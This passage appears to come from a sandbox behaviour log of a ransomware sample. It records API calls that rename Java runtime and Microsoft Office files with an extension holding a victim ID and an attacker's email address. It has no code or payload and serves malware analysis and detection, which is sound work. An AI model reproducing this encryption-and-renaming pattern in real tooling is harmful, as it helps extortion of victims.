files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.029] CloseHandle (hObject=0x1178) returned 1 [0247.030] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.030] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.030] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.030] CloseHandle (hObject=0x1178) returned 1 [0247.031] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.031] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.031] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.031] CloseHandle (hObject=0x1178) returned 1 [0247.032] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.032] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.032] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.032] CloseHandle (hObject=0x1178) returned 1 [0247.033] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.033] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.033] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.034] CloseHandle (hObject=0x1178) returned 1 [0247.034] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.034] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.035] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.035] CloseHandle (hObject=0x1178) returned 1 [0247.036] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.036] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.036] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.036] CloseHandle (hObject=0x1178) returned 1 [0247.039] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.039] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.040] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.040] CloseHandle (hObject=0x1178) returned 1 [0247.043] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.043] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.043] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.043] CloseHandle (hObject=0x1178) returned 1 [0247.044] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.044] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.044] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.044] CloseHandle (hObject=0x1178) returned 1 [0247.046] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.046] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.046] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.046] CloseHandle (hObject=0x1178) returned 1 [0247.047] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.047] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.047] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.047] CloseHandle (hObject=0x1178) returned 1 [0247.048] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.048] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.048] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.049] CloseHandle (hObject=0x1178) returned 1 [0247.049] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.049] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.049] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.050] CloseHandle (hObject=0x1178) returned 1 [0247.050] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0247.052] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.052] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.052] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.052] CloseHandle (hObject=0x1178) returned 1 [0247.053] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.053] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.053] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.053] CloseHandle (hObject=0x1178) returned 1 [0247.054] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0247.054] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0247.062] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.062] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.062] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.062] CloseHandle (hObject=0x1178) returned 1 [0247.063] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.063] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.063] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.063] CloseHandle (hObject=0x1178) returned 1 [0247.064] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.064] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.064] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.064] CloseHandle (hObject=0x1178) returned 1 [0247.350] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.350] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.351] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.351] CloseHandle (hObject=0x11ec) returned 1 [0248.715] SetFilePointerEx (in: hFile=0x1254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.715] SetFilePointerEx (in: hFile=0x1254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.716] CloseHandle (hObject=0x1254) returned 1 [0248.717] SetFilePointerEx (in: hFile=0x1254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.718] SetFilePointerEx (in: hFile=0x1254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.718] CloseHandle (hObject=0x1254) returned 1 [0248.719] SetFilePointerEx (in: hFile=0x1254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.719] SetFilePointerEx (in: hFile=0x1254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.720] CloseHandle (hObject=0x1254) returned 1 [0248.720] SetFilePointerEx (in: hFile=0x1254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.720] SetFilePointerEx (in: hFile=0x1254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.721] CloseHandle (hObject=0x1254) returned 1 [0248.722] SetFilePointerEx (in: hFile=0x1254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.722] SetFilePointerEx (in: hFile=0x1254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_02.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_02.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.722] CloseHandle (hObject=0x1254) returned 1 [0248.723] SetFilePointerEx (in: hFile=0x1254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.723] SetFilePointerEx (in: hFile=0x1254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.724] CloseHandle (hObject=0x1254) returned 1 [0248.724] SetFilePointerEx (in: hFile=0x1254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.724] SetFilePointerEx (in: hFile=0x1254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.725] CloseHandle (hObject=0x1254) returned 1 [0249.208] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.208] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.209] CloseHandle (hObject=0x1258) returned 1 [0249.374] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.374] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.375] CloseHandle (hObject=0x1258) returned 1 [0249.375] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.376] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.376] CloseHandle (hObject=0x1258) returned 1 [0249.377] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.378] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.378] CloseHandle (hObject=0x1258) returned 1 [0249.379] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.379] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.379] CloseHandle (hObject=0x1258) returned 1 [0249.380] 